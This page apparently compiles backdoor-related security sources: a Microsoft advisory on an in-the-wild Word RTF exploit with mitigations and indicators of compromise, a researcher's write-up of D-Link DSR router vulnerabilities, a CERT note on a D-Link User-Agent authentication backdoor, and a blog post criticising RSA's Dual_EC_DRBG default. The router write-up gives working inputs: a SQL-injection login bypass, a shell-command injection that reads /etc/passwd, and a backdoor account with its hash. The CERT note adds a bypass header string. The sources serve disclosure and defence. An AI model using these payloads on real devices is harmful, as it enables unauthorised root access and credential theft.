Today, Microsoft released Security Advisory 2953095 to notify customers of a vulnerability in Microsoft Word. At this time, we are aware of limited, targeted attacks directed at Microsoft Word 2010.
This blog will discuss mitigations and temporary defensive strategies that will help customers to protect themselves while we are working on a security update.

Today, Microsoft released Security Advisory 2953095 to notify customers of a vulnerability in Microsoft Word. At this time, we are aware of limited, targeted attacks directed at Microsoft Word 2010.

This blog will discuss mitigations and temporary defensive strategies that will help customers to protect themselves while we are working on a security update. This blog also provides some preliminary details of the exploit code observed in the wild.

**Mitigations and Workaround**

The in the wild exploit takes advantage of an unspecified RTF parsing vulnerability combined with an ASLR bypass, which depends by a module loaded at predictable memory address.

First, our tests showed that EMET default configuration can block the exploits seen in the wild. In this case, EMET’s mitigations such as “Mandatory ASLR” and anti-ROP features effectively stop the exploit. You can find more information about EMET at http://www.microsoft.com/emet. The exploit code seems to target Word 2010 and it deeply relies on the specific ASLR bypass mentioned. We were glad to see in our tests that this exploit fails (resulting in a crash) on machines running Word 2013, due to the ASLR enforcement introduced for this product.

In addition to EMET mitigations, users may consider to apply stronger protections by blocking the root cause of the issue with one of the following suggested workarounds:

*   disable opening of RTF files;
*   enforce Word to open RTF files always in _Protected View_ in Trust Center settings.

To facilitate deployment of the first workaround, we are providing a Fix it automated tool. The Fix it uses Office’s file block feature and adds few registry keys to prevent opening of RTF files in all Word versions. After the Fix it is installed, opening RTF file will result in the following message:

\](https://msdnshared.blob.core.windows.net/media/TNBlogsFS/prod.evol.blogs.technet.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/00/61/47/3124.pic1.png)

If blocking RTF files is not an option, enterprise could enforce “_Open selected file types in Protected View_” instead of “_Do not open selected file types_” in Trust Center settings. The “Protected View” mode in Office 2010/2013 does not allow ActiveX controls to load. This will mitigate the attack we observed. Once the workaround is enabled, Word will prompt the _Protected View_ gold bar, but will still allow the preview of the document.

\](https://msdnshared.blob.core.windows.net/media/TNBlogsFS/prod.evol.blogs.technet.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/00/61/47/0118.pic2.png)

Enterprise admins may also consider to make their own custom protection using Trust Center features of Office instead of the Fix it, since these settings can be managed and deployed through GPO. For more details, please refer to: http://office.microsoft.com/en-us/word-help/what-is-file-block-HA010355927.aspx#\_File\_Block\_settings.

\](https://msdnshared.blob.core.windows.net/media/TNBlogsFS/prod.evol.blogs.technet.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/00/61/47/1212.pic3.png)

**Theoretical Outlook attack vector**

There is a theoretical Outlook attack vector for RTF vulnerabilities through the preview pane. The reduced functionality of the preview pane makes this attack vector extremely hard to carry, and to date we have never seen exploits leveraging this mechanism.

**Technical details of the exploit**

The attack detected in the wild is limited and very targeted in nature. The malicious document is designed to trigger a memory corruption vulnerability in the RTF parsing code. The attacker embedded a secondary component in order to bypass ASLR, and leveraged return-oriented-programming techniques using native RTF encoding schemes to craft ROP gadgets. The structure of the malicious document and the individual blocks is described in the picture below.

\](https://msdnshared.blob.core.windows.net/media/TNBlogsFS/prod.evol.blogs.technet.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/00/61/47/pic4.png)

When the memory corruption vulnerability is triggered, the exploit gains initial code execution and in order to bypass DEP and ASLR, it tries to execute the ROP chain that allocates a large chunk of executable memory and transfers the control to the first piece of the shellcode (egghunter). This code then searches for the main shellcode placed at the end of the RTF document to execute it.

\](https://msdnshared.blob.core.windows.net/media/TNBlogsFS/prod.evol.blogs.technet.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/00/61/47/pic5.png)

One peculiar aspect of the main shellcode is the fact that it employs multiple consecutive layers of decryption and well-known anti-debugging tricks, such as test of debugging flags an, RDTSC timing checks and jump-hops over hooks, possibly to defeat automated sandbox, analysis tools and researchers. The shellcode has also been programmed with a special date-based deactivation logic. In fact, it parses the content of “_C:\\Windows\\SoftwareDistribution\\ReportingEvents.log_” file and it scans all the available Microsoft updates installed on the machine. The shellcode will not perform any additional malicious action if there are updates installed after April, 8 2014. This means that even after a successful exploitation with reliable code execution, after this date the shellcode may decide to not drop the secondary backdoor payload and simply abort the execution. When the activation logic detects the correct condition to trigger, the exploit drops in the temporary folder a backdoor file named ‘svchost.exe’ and runs it. The dropped backdoor is a generic malware written in Visual Basic 6 which communicates over HTTPS and relies on execution of multiple windows scripts via WScript.Shell and it can install/run additional MSI components.

**Detection and indicators for defenders**

We are providing a good list of IOCs (Indicator of Compromise) hoping to facilitate defensive efforts and to help security vendors and professionals to stay protected from this specific attack. The remote C&C server used by the current backdoor in the file uses encrypted SSL traffic with a static self-signed certificate that can be easily detected.

**YARA RULE (RTF)**

rule SA2953095\_RTF { meta: description = “MS Security Advisory 2953095” strings: $badHdr = “{\\\\rt{” $ocxTag = “\\\\objocx\\\\” $mscomctl = “MSComctlLib.” $rop = “?\\\\u-554"condition: filesize > 100KB and filesize < 500KB and $badHdr and $ocxTag and $mscomctl and #rop>8 }

**SAMPLE HASHES**

Filename: %TEMP%\\svchost.exeMD5: af63f1dc3bb37e54209139bd7a3680b1 SHA1: 77ec5d22e64c17473290fb05ec5125b7a7e02828

**C&C SERVER AND** PROTOCOL

C&C Server: h ps://185.12.44.51 Port: 443\*NOTE: on port 80 the C&C host serves a webpage mimicking the content of “http://www.latamcl.com/” website GET request example: h ps://185.12.44.51/\[rannd\_alpa\_chars\].\[3charst\]?\[encodedpayload\] User-Agent string: “Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64;2\*Uuhgco}%7)1”

**C&C SSL CERTIFICATE** (self-signed)

Issuer: CN=\* O=My Company Ltd S=Berkshire C=NW NotBefore: 1/1/2013 3:33 AM NotAfter: 1/1/2014 3:33 AMPublic Key Length: 1024 bits Public Key: UnusedBits = 00000 30 81 89 02 81 81 00 dc 72 fc af 8f 51 de 2d 27 0010 3e de ad 21 ae 25 11 b6 b0 6e ce 6d 79 e4 d3 81 0020 4e 73 11 44 51 63 09 3b 1c e7 79 1f 85 82 94 c1 0030 e1 f1 83 b3 1c 6d 53 58 28 07 b5 80 86 30 51 2d 0040 78 c0 48 e8 b2 8d fb 84 e1 d1 59 ff d5 4e 1f 8f 0050 ff 60 44 56 6b 7b 4d 72 42 d6 da 6a 4c d4 6b 7d 0060 f1 68 4d 2c 62 58 53 e7 cd cc a1 a4 a2 7a 29 7d 0070 63 eb 42 30 af 24 eb 20 4c 86 f5 9e 6f 48 1c bd 0080 28 aa 47 13 4b cc 53 02 03 01 00 01Cert Hash(md5): f0 82 aa f8 16 0e 83 8c 20 d7 95 f0 9d d2 01 57 Cert Hash(sha1): df 72 40 fb 9b cd 53 12 eb a5 f9 c2 dd e7 a2 9a 1d c8 f3 55

**CRASH INDICATORS**

Faulting application name: WINWORD.EXE, version: 14.0.7113.5001, time stamp: 0x52866c04 Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000 Exception code: 0xc0000005 Fault offset: 0x40002??? Faulting process id: n/a Faulting application start time: n/a Faulting application path: C:\\Program Files\\Microsoft Office\\Office14\\WINWORD.EXE Faulting module path: unknown

**REGISTRY INDICATORS**

Registry key added: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Windows Startup Helper=”%windir%\\system32\\wscript.exe %TEMP%\\\[malicious.vbs\]”Service name (possibly) created: “WindowsNetHelper”

\- Chengyun Chu and Elia Florio, MSRC Engineering

Security Advisory 2953095: recommendation to stay protected and for detections

D-Link DSR-150 with firmware before 1.08B44; DSR-150N with firmware before 1.05B64; DSR-250 and DSR-250N with firmware before 1.08B44; and DSR-500, DSR-500N, DSR-1000, and DSR-1000N with firmware before 1.08B77 stores account passwords in cleartext, which allows local users to obtain sensitive information by reading the Users[#]["Password"] fields in /tmp/teamf1.cfg.ascii.

**Zine: D-Link DSR Router Series - Remote Command Execution**

    #
    # CVEs:                  
    #     CVE-2013-5945 - Authentication Bypass by SQL-Injection
    #     CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
    # 
    # Vulnerable Routers:    
    #     D-Link DSR-150 (Firmware < v1.08B44)
    #     D-Link DSR-150N (Firmware < v1.05B64)
    #     D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
    #     D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
    #     D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
    #
    # Download URL:      
    #     http://tsd.dlink.com.tw
    # 
    # Arch:                  
    #     mips and armv6l, Linux
    # 
    # Author:                
    #     0_o -- null_null
    #     nu11.nu11 [at] yahoo.com
    #
    # Date:                  
    #     2013-08-18
    # 
    # Purpose:               
    #     Get a non-persistent root shell on your D-Link DSR. 
    # 
    # Prerequisites:         
    #     Network access to the router ports 443 and 23.
    #     !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
    #
    #
    # A list of identified vulns follows. This list is not exhaustive as I assume
    # more vulns are present that just slipped my attention. 
    # The fact that D-Link implemented a backdoor user (for what reason, please??)
    # and just renamed it instead of completely removing it after it was targetted
    # by my previous exploit, as well as the triviality of those vulns I found 
    # makes me suggest that more vulns are present that are comparably easy to
    # exploit.
    #
    # Since 2013-12-03, patches are available for:
    #   DSR-150:                Firmware v1.08B44
    #   DSR-150N:               Firmware v1.05B64
    #   DSR-250 and DSR-250N:   Firmware v1.08B44
    #   DSR-500 and DSR-500N:   Firmware v1.08B77
    #   DSR-1000 and DSR-1000N: Firmware v1.08B77
    # via http://tsd.dlink.com.tw
    #
    # And now, have a worthwhile read :-)
    #
    
    
    0. Contents:
    
    
    1. Vulnerability: Authentication Bypass by SQL-Injection 
                      (CVE-2013-5945)
    2. Vulnerability: Privilege Escalation by Arbitrary Command Execution 
                      (CVE-2013-5946)
    3. Exposure:      D-Link backdoor user
    4. Vulnerability: Use of weak hash algorithms
    5. Exposure:      Passwords are stored as plain text in config files
    6. Vulnerability: Bad permissions on /etc/shadow
    
    
    
    1. Vulnerability: Authentication Bypass by SQL-Injection
                      (CVE-2013-5945)
    
    
    * Possible via the global webUI login form.
    
    * File /pfrm2.0/share/lua/5.1/teamf1lualib/login.lua contains:
    
      function login.authenticate(tablename, tableInput)
        local username = tableInput["Users.UserName"]
        local password = tableInput["Users.Password"]
        local cur = db.execute(string.format([[
                      SELECT *, ROWID AS _ROWID_ FROM %s
              WHERE %s = '%s' AND %s = '%s'
          ]], tablename, "UserName", username, "Password", password))
        local result = false
        local statusCode = "NONE"
        if cur then
          local row = cur:fetch({}, "a")
          cur:close()
          result = row ~= nil
          if result == false then
            statusCode = "USER_LOGIN_INVALID_PASSWORD"
          end
        end
        return result, statusCode
      end
    
    * This function creates an SQL statement of the form:
    
      SELECT * FROM "Users" WHERE "UserName" = 'user' AND "Password" = 'pass';
    
    * Since there is a default admin user account called "admin" around, this is 
      easily exploitable by providing this to the login form:
    
      username = admin
      password = ' or 'a'='a
    
    * ...resulting in this SQL statement:
    
      SELECT * 
        FROM "Users" 
        WHERE "UserName" = 'admin' 
          AND "Password" = '' or 'a'='a';
    
    * Old school SQL injection. Ohh, by the way...
    
    * The same fault can be found in captivePortal.lua 
      -- FREE NETWORKS FOR EVERYONE --
    
    
    
    2. Vulnerability: Privilege Escalation by Arbitrary Command Execution 
                      (CVE-2013-5946)
    
    
    * Possible from the Tools --> System Check page.
    
    * File /pfrm2.0/var/www/systemCheck.htm contains:
    
      local function runShellCmd(command)
          local pipe = io.popen(command .. " 2>&1") -- redirect stderr to stdout
          local cmdOutput = pipe:read("*a")
          pipe:close()
          return cmdOutput
      end
      if (ButtonType and ButtonType == "ping") then
      [...]
      local cmd_ping = pingprog .. " " .. ipToPing .. " " .. options1 .. " > " .. pingfile
            globalCmdOutput = runShellCmd (cmd_ping) 
            statusMessage = "Pinging " .. ipToPing
      [...]
      elseif (ButtonType and ButtonType == "traceroute") then
      [...]
        local cmd = traceRouteProg .. " " .. ipToTraceRoute .. options
        globalCmdOutput = runShellCmd(cmd)
        statusMessage = "Traceroute To " .. ipToTraceRoute .. "..."
      [...]
      elseif (ButtonType and ButtonType == "dnslookup") then
      [...]
        util.appendDebugOut("Exec = " .. os.execute(nsLookupProg .. " " .. internetNameToNsLookup .. " > " .. nsLookupFile))
        statusMessage = "DNS Lookup for " .. internetNameToNsLookup
      [...]
    
    * Command injection is possible in at least these form sections:
      
      Ping or Trace an IP Address
      Perform a DNS Lookup
      
    * When using a browser, deactivate the "onclick" JavaScript checks using 
      a tool like Firebug. Tools like curl are not hindered by these checks.
      
    * All forms allow input like this:
      
      localhost;<command>
      
      example: 
      
      localhost;cat /etc/passwd
      
    * This user provided value is then directly used as part of the input for the
      call to runShellCmd(c) and thus io.popen(c) in the first form section and 
      os.execute(c) in the second form section.
      
    * Output from user provided commands gets displayed on the next page beneath 
      the benign command output.
      
      example: 
      
      [...]
      <textarea rows="15" name="S1" cols="60" wrap="off" class="txtbox1">
        traceroute to localhost (127.0.0.1), 10 hops max, 40 byte packets
         1  localhost (127.0.0.1)  0.429 ms  0.255 ms  0.224 ms
        root:!:0:0:root:/root:/bin/sh
        gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
        nobody:x:0:0:nobody:/nonexistent:/bin/false
        ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
        guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
        admin:x:0:2:Linux User,,,:/home/admin:/bin/sh
      </textarea>
      [...]
      
      
      
    3. Exposure: D-Link backdoor user:
      
      
    * This was the contents of my /etc/passwd after I upgraded to 1.08B39_WW:
    
      root:!:0:0:root:/root:/bin/sh
      gkJ9232xXyruTRmY:$1$MqlhcYXP$CC3cvqpCg0RJAzV85LSeO0:0:0:root:/:/bin/sh
      nobody:x:0:0:nobody:/nonexistent:/bin/false
      ZX4q9Q9JUpwTZuo7:x:0:2:Linux User,,,:/home/ZX4q9Q9JUpwTZuo7:/bin/sh
      guest:x:0:1001:Linux User,,,:/home/guest:/bin/sh
      admin:x:0:2:Linux User,,,:/home/admin:/bin/sh
    
    * You can see the old D-Link backdoor user name "ZX4q9Q9JUpwTZuo7". 
      That was the account I hacked before with my previous exploit: 
      http://www.exploit-db.com/papers/22930/
      And there is a new backdoor user "gkJ9232xXyruTRmY" introduced. 
      Instead of removing the backdoor, D-Link just created a new one. 
      
    * I verified this by showing the /etc/profile:
      
      # /etc/profile
      LD_LIBRARY_PATH=.:/pfrm2.0/lib:/lib
      PATH=.:/pfrm2.0/bin:$PATH
      CLISH_PATH=/etc/clish
      export PATH LD_LIBRARY_PATH CLISH_PATH
      # redirect all users except root to CLI
      if [ "$USER" != "gkJ9232xXyruTRmY" ] ; then
      trap "/bin/login" SIGINT
      trap "" SIGTSTP
      /pfrm2.0/bin/cli
      exit
      fi
      PS1='DSR-250N> '
      
      
      
    4. Vulnerability: Use of weak hash algorithms:
    
    
    * In the /etc/shadow, salted DES hashes are used to store user passwords.
      Since this hash type supports at most 8 characters, users can log in by just 
      typing the first 8 letters of their passwords when using SSH or telnet.
      
    * An effective password length limitation of 8 characters makes brute force 
      attacks on user accounts very feasible, even if the user chose a longer 
      password.
    
    
    
    5. Exposure: Passwords are stored as plain text in config files:
    
    
    * A lookup into the system config file /tmp/teamf1.cfg.ascii, from which the 
      /tmp/system.db is built on boot time, reveals that all user passwords are 
      stored in plain text.
    
      Example:
    
      [...]  
      Users = {}
      Users[1] = {}
      Users[1]["Capabilities"] = ""
      Users[1]["DefaultUser"] = "1"
      Users[1]["UserId"] = "1"
      Users[1]["FirstName"] = "backdoor"
      Users[1]["OID"] = "0"
      Users[1]["GroupId"] = "1"
      Users[1]["UserName"] = "gkJ9232xXyruTRmY"
      Users[1]["Password"] = "thisobviouslyisafakepass"
      Users[1]["UserTimeOut"] = "10"
      Users[1]["_ROWID_"] = "1"
      Users[1]["LastName"] = "ssl"
      [...]
      
      
      
    6. Vulnerability: Bad permissions on /etc/shadow
    
    
    * This file should have 600 permissions set and not 644. It is world readable.
      Pointless, since every process runs as root, no user separation is 
      done anyway.
    
      DSR-250N> ls -l -a /etc/shadow
      -rw-r--r--    1 root     root           115 Sep 27 15:07 /etc/shadow
      DSR-250N> ps
        PID USER       VSZ STAT COMMAND
          1 root      2700 S    init
          2 root         0 SW<  [kthreadd]
          3 root         0 SW<  [ksoftirqd/0]
          4 root         0 SW<  [events/0]
          5 root         0 SW<  [khelper]
          8 root         0 SW<  [async/mgr]
        111 root         0 SW<  [kblockd/0]
        120 root         0 SW<  [khubd]
        123 root         0 SW<  [kseriod]
        128 root         0 SW<  [kslowd]
        129 root         0 SW<  [kslowd]
        150 root         0 SW   [pdflush]
        151 root         0 SW   [pdflush]
        152 root         0 SW<  [kswapd0]
        200 root         0 SW<  [aio/0]
        210 root         0 SW<  [nfsiod]
        220 root         0 SW<  [crypto/0]
        230 root         0 SW<  [cns3xxx_spi.0]
        781 root         0 SW<  [mtdblockd]
        860 root         0 SW<  [usbhid_resumer]
        874 root         0 SW<  [rpciod/0]
        903 root         0 SWN  [jffs2_gcd_mtd4]
        909 root         0 SWN  [jffs2_gcd_mtd5]
        918 root      3596 S    unionfs -s -o cow,nonempty,allow_other /rw_pfrm2.0=R
        999 root      1816 S <  /pfrm2.0/udev/sbin/udevd --daemon
       1002 root      2988 S    /pfrm2.0/bin/platformd /tmp/system.db
       1003 root      3120 S    /pfrm2.0/bin/evtDsptchd /tmp/system.db
       1049 root      2704 S    /usr/sbin/telnetd -l /bin/login
       1097 root      4560 S    /pfrm2.0/bin/wlanClientArlFlushd
       1141 root     37000 S    /pfrm2.0/bin/sshd
       1154 root      3068 S    /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN1 5
       1255 root      3148 S    /pfrm2.0/bin/nimfd /tmp/system.db
       1259 root      3068 S    /pfrm2.0/bin/linkStatusDetect /tmp/system.db WAN2 5
       1375 root      3588 S    /pfrm2.0/bin/firewalld /tmp/system.db
       1560 root         0 SW<  [key_timehandler]
       1598 root      7776 S    /pfrm2.0/bin/racoon -a 8787 -f /var/racoon_path.conf
       1600 root      8036 S    rvgd /tmp/system.db
       1612 root         0 SW   [cavium]
       1621 root      8424 S    vpnKAd /tmp/system.db
       1685 root      5372 S    /pfrm2.0/sslvpn/bin/firebase -d
       1702 root      5016 S    /pfrm2.0/sslvpn/bin/smm -d
       1711 root      6052 S    /pfrm2.0/sslvpn/bin/httpd
       1712 root      2700 S    /bin/sh /var/sslvpn/var/httpdKeepAlive.sh
       1771 root      2680 S    /pfrm2.0/bin/statusD
       1933 root      3092 S    /pfrm2.0/bin/loggingd /tmp/system.db
       1960 root      5284 S    /pfrm2.0/bin/radEap -d /tmp/system.db
       1962 root      2988 S    /pfrm2.0/bin/rebootd /tmp/system.db
       2004 root      2988 S    /pfrm2.0/bin/crond /tmp/system.db
       2008 root      3260 S    /pfrm2.0/bin/ntpd /tmp/system.db
       2196 root      3128 S    /pfrm2.0/bin/intelAmtd /tmp/system.db
       2205 root      1904 S    /pfrm2.0/bin/fReset
       2311 root      2704 S    /bin/sh /pfrm2.0/bin/release_cache.sh
       2312 root      2704 S    /sbin/getty -L ttyS0 115200 vt100
       2463 root      3964 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg30 -lf /va
       2481 root      3964 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg50 -lf /va
       3355 root      1768 S    /pfrm2.0/bin/rt2860apd
       3443 root      4116 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg40 -lf /va
       3451 root      4116 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg20 -lf /va
       3457 root      3964 S    /pfrm2.0/bin/dhcpd -cf /etc/dhcpd.conf.bdg1 -lf /var
       3484 root      7836 S    /pfrm2.0/bin/snmpd -p /var/run/snmp.pid
       3518 root      4424 S    /pfrm2.0/bin/openvpn --config /var/openvpn/openvpn.c
       3630 root      1928 S    /pfrm2.0/bin/dnsmasq --dns-forward-max=10000 --addn-
       5353 root      2704 S    -sh
       7877 root      2568 S    sleep 60
       7953 root      2568 S    sleep 60
       8008 root      2704 R    ps
      16749 root      2704 S    -sh
      25690 root         0 SW<  [RtmpCmdQTask]
      25692 root         0 SW<  [RtmpWscTask]
      DSR-250N>

CVE-2013-7005: Offensive Security’s Exploit Database Archive

The web interface on D-Link DIR-100, DIR-120, DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, and TM-G5240 routers; Planex BRL-04R, BRL-04UR, and BRL-04CW routers; and Alpha Networks routers allows remote attackers to bypass authentication and modify settings via an xmlset_roodkcableoj28840ybtide User-Agent HTTP header, as exploited in the wild in October 2013.

**D-Link routers authenticate administrative access using specific User-Agent string**

**Vulnerability Note VU#248083**

Original Release Date: 2013-10-17 | Last Revised: 2014-07-29

**Overview**

Various D-Link routers allow administrative web actions if the HTTP request contains a specific User-Agent string. This backdoor allows an attacker to bypass password authentication and access the router's administrative web interface. Planex and Alpha Networks devices may also be affected.

**Description**

CVE-2013-6026:

According to security researcher Craig Heffner, the firmware for various D-Link routers contains a backdoor that allows unauthenticated remote users to bypass the routers' password authentication mechanism. A router's internal web server will accept and process any HTTP requests that contain the User-Agent string "xmlset\_roodkcableoj28840ybtide" without checking if the connecting host is authenticated.

D-Link has confirmed that the affected D-Link routers disable web configuration from the WAN by default.

According to D-Link, the following D-Link routers are affected:

*   DIR-100
*   DIR-120
*   DI-624S
*   DI-524UP
*   DI-604S
*   DI-604UP
*   DI-604+
*   TM-G5240

  
According to the original vulnerability report, the following Planex routers are likely affected:  

*   BRL-04R
*   BRL-04UR
*   BRL-04CW

  
It appears that Alpha Networks may be the OEM for routers branded by D-Link and Planex (and probably other vendors). It is not clear where in the supply chain the backdoor was added, so routers from any of these vendors may be affected.

CVE-2013-6027:  
A separate stack overflow vulnerability in the management web server has also been reported.

**Impact**

An unauthenticated remote attacker can take any action as an administrator using the remote management web server.

**Solution**

D-Link is maintaining a page to inform users of this issue and provide updates as patches are released.

**Restrict Access**

Restrict access to the administrative web server by disabling remote management features or by blocking HTTP requests on the external WAN interface. The administrative web server may listen on ports 80/tcp or 8080/tcp.

D-Link has confirmed that the affected D-Link routers disable web configuration from the WAN by default. There is some evidence that at least one ISP may have deployed vulnerable routers with the remote WAN management enabled.

**Vendor Information**

Filter by content: Additional information available

 Sort by:

  
**CVSS Metrics**

Group

Score

Vector

Base

8.3

AV:A/AC:L/Au:N/C:C/I:C/A:C

Temporal

7.5

E:F/RL:W/RC:C

Environmental

5.6

CDP:ND/TD:M/CR:ND/IR:ND/AR:ND

  
**References****Acknowledgements**

Thanks to Craig Heffner of /DEV/TTYS0 for reporting this vulnerability.

This document was written by Todd Lewellen.

**Other Information**

**CVE IDs:**

CVE-2013-6026, CVE-2013-6027

**Date Public:**

2013-10-12

**Date First Published:**

2013-10-17

**Date Last Updated:**

2014-07-29 23:29 UTC

**Document Revision:**

34

CVE-2013-6026: CERT/CC Vulnerability Note VU#248083

The NIST SP 800-90A default statement of the Dual Elliptic Curve Deterministic Random Bit Generation (Dual_EC_DRBG) algorithm contains point Q constants with a possible relationship to certain "skeleton key" values, which might allow context-dependent attackers to defeat cryptographic protection mechanisms by leveraging knowledge of those values.  NOTE: this is a preliminary CVE for Dual_EC_DRBG; future research may provide additional details about point Q and associated attacks, and could potentially lead to a RECAST or REJECT of this CVE.

In today’s news of the weird, RSA (a division of EMC) has recommended that developers desist from using the (allegedly) ‘backdoored’ Dual\_EC\_DRBG random number generator — which happens to be the _default_ in RSA’s BSafe cryptographic toolkit. Youch.

In case you’re missing the story here, Dual\_EC\_DRBG (which I wrote about yesterday) is the random number generator voted most likely to be backdoored by the NSA. The story here is that — despite many valid concerns about this generator — RSA went ahead and made it the _default_ generator used for all cryptography in its flagship cryptography library. The implications for RSA and RSA-based products are staggering. In the worst case a modestly bad but _by no means_ worst case, the NSA may be able to intercept SSL/TLS connections made by products implemented with BSafe.

So why would RSA pick Dual\_EC as the default? You got me. Not only is Dual\_EC hilariously slow — which has real performance implications — it was shown to be _a just plain bad random number generator_ all the way back in 2006. By 2007, when Shumow and Ferguson raised the possibility of a backdoor in the specification, no sensible cryptographer would go near the thing.

And the killer is that RSA employs a number of highly distinguished cryptographers! It’s unlikely that they’d all miss the news about Dual\_EC.

We can only speculate about the past. But here in the present we get to watch RSA’s CTO Sam Curry publicly defend RSA’s choices. I sort of feel bad for the guy. But let’s make fun of it anyway.

I’ll take his statement line by line (Sam is the boldface):

> _**“Plenty of other crypto functions (PBKDF2, bcrypt, scrypt) will iterate a hash 1000 times specifically to make it slower.”**_

Password hash functions are built deliberately slow to frustrate dictionary attacks. Making a random number generator slow is just dumb.

> _**At the time, elliptic curves were in vogue**_

Say what?

> _**and hash-based RNG was under scrutiny.**_

Nonsense. A single _obsolete_ hash based generator (FIPS 186) was under scrutiny — and fixed. The NIST SP800-90 draft in which Dual\_EC appeared ALSO provided three perfectly nice non-backdoored generators: two based on hash functions and one based on AES. BSafe even implements some of them. Sam, this statement is just plain misleading.

> _**The hope was that elliptic curve techniques—based as they are on number theory—would not suffer many of the same weaknesses as other techniques (like the FIPS 186 SHA-1 generator) that were seen as negative**_

Dual-EC suffers exactly the same sort of weaknesses as FIPS 186. _Unlike_ the alternative generators in NIST SP800-90 it has a significant bias and really should not be used in production systems. RSA certainly had access to this information after the analyses were published in 2006.

> _**and Dual\_EC\_DRBG was an accepted and publicly scrutinized standard.**_

And every bit of public scrutiny said the same thing: this thing is broken! Grab your children and run away!

> _**SP800-90 (which defines Dual EC DRBG) requires new features like continuous testing of the output, mandatory re-seeding,**_

The exact same can be said for the hash-based and AES-based alternative generators you DIDN’T choose from SP800-90.

> _**optional prediction resistance and the ability to configure for different strengths.**_

So did you take advantage of any of these options as part of the BSafe defaults? Why not? How about the very simple mitigations that NIST added to SP800-90A as a means to remove concerns that the generator might have a backdoor? Anyone?

There’s not too much else to say here. I guess the best way to put it is: this is all part of the process. First you find the disease. Then you see if you can cure it.

**Post navigation**

Tag

#backdoor